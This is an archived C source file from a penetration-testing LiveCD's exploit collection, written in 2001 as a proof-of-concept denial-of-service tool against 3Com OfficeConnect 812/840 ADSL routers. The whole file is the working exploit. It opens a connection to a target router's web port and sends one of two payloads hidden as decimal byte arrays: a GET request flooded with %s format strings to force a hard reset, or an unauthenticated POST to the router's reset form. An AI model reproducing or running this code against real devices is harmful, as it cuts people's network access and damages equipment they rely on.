home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / 3com / adsl812-denial.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  112 lines
  1. // 3Com OfficeConnect 812/840 ADSL Router Denial of Service (maybe others)
  2. // Proof of concept, soft and hard reset, the security is weak
  3. // Written pour sniffer <sniffer@sniffer.net> 
  4. // Fri Sep 21 15:51:35 BRT 2001
  5. // Viva Brazil!
  6.  
  7. #include <stdio.h>
  8. #include <string.h>
  9. #include <errno.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <netdb.h>
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <arpa/inet.h>
  16. #include <netinet/in.h>
  17.  
  18. void 
  19. usage(binary)
  20. char *binary;
  21. {
  22. fprintf(stderr,"3Com OfficeConnect 812 ADSL Router Denial of Service (%s)\nsniffer <sniffer@sniffer.net>\n\t%s <1 (soft) || 2 (hard)> <remote router>\n", __FILE__, binary);
  23. }
  24. int
  25. main(argc, argv)
  26. int argc;
  27. char **argv;
  28. {
  29. int sockfd;
  30. char senddata[1024];
  31. char hardreset_data[] = { 
  32.                                      71,69,84,32,47,103,114,97,112,104,105,99,115,
  33.                    47,115,109,108,51,99,111,109,37,115,37,115,37,
  34.                    115,37,115,37,115,37,115,37,115,37,115,37,115,
  35.                    37,115,37,115,37,115,37,115,37,115,37,115,37,
  36.                    115,37,115,37,115,37,115,37,115,37,115,37,115,
  37.                    37,115,37,115,37,115,37,115,37,115,37,115,37,
  38.                    115,37,115,37,115,37,115,37,115,37,115,37,115,
  39.                    37,115,37,115,37,115,37,115,37,115,37,115,37,
  40.                    115,37,115,37,115,37,115,37,115,37,115,37,115,
  41.                    37,115,37,115,37,115,37,115,37,115,37,115,37,
  42.                    115,37,115,37,115,37,115,37,115,37,115,37,115,
  43.                    37,115,37,115,37,115,37,115,32,72,84,84,80,
  44.                    47,49,46,48,10,10,0 };
  45. char softreset_data[] = {
  46.                    80,79,83,84,32,47,70,111,114,109,115,47,97,
  47.                    100,115,108,95,114,101,115,101,116,32,72,84,84,
  48.                    80,47,49,46,49,10,72,111,115,116,58,32,49,
  49.                    57,50,46,49,54,56,46,49,46,50,53,52,10,
  50.                    67,111,110,110,101,99,116,105,111,110,58,32,99,
  51.                    108,111,115,101,10,67,111,110,116,101,110,116,45,
  52.                    76,101,110,103,116,104,58,32,49,57,10,10,83,
  53.                    117,98,109,105,116,61,82,101,115,101,116,37,50,
  54.                    48,76,105,110,101,10,10,0 };
  55. struct hostent *he;
  56. struct sockaddr_in their_addr;
  57.                                 
  58. if( argc != 3 )
  59. {
  60.     usage(argv[0]);
  61.     exit(0);
  62. }
  63. if( atoi(argv[1]) >= 3 || atoi(argv[1]) == 0 )
  64. {
  65.       usage(argv[0]);
  66.         exit(0);    
  67. }
  68. if((he=gethostbyname(argv[2])) == NULL)
  69. {
  70.     herror("gethostbyname");
  71.     exit(1);
  72. }
  73.  
  74. their_addr.sin_family = AF_INET;
  75. their_addr.sin_port = htons(80);
  76. their_addr.sin_addr = (*(struct in_addr *)he->h_addr);
  77. bzero(&their_addr.sin_zero, 8);
  78.  
  79. if ((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) 
  80. {
  81.     perror("socket");
  82.     exit(1);
  83. }
  84.  
  85. if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) 
  86. {
  87.     perror("connect");
  88.     exit(1);
  89. }
  90. else
  91. {
  92.     printf("connected\n");
  93. }
  94. if(atoi(argv[1]) == 1)
  95.     strncpy(senddata, softreset_data, strlen(softreset_data));
  96. else if(atoi(argv[1]) == 2)
  97.     strncpy(senddata, hardreset_data, strlen(hardreset_data));
  98.  
  99. if(send(sockfd, senddata, sizeof(senddata), 0) == -1) 
  100. {
  101.     perror("send");
  102.     exit(1);
  103. }
  104. else
  105. {
  106.     printf("evil data sent\n.. have a rice day\n");
  107. }
  108.  
  109. close(sockfd);
  110. return(0);                
  111. }
  112.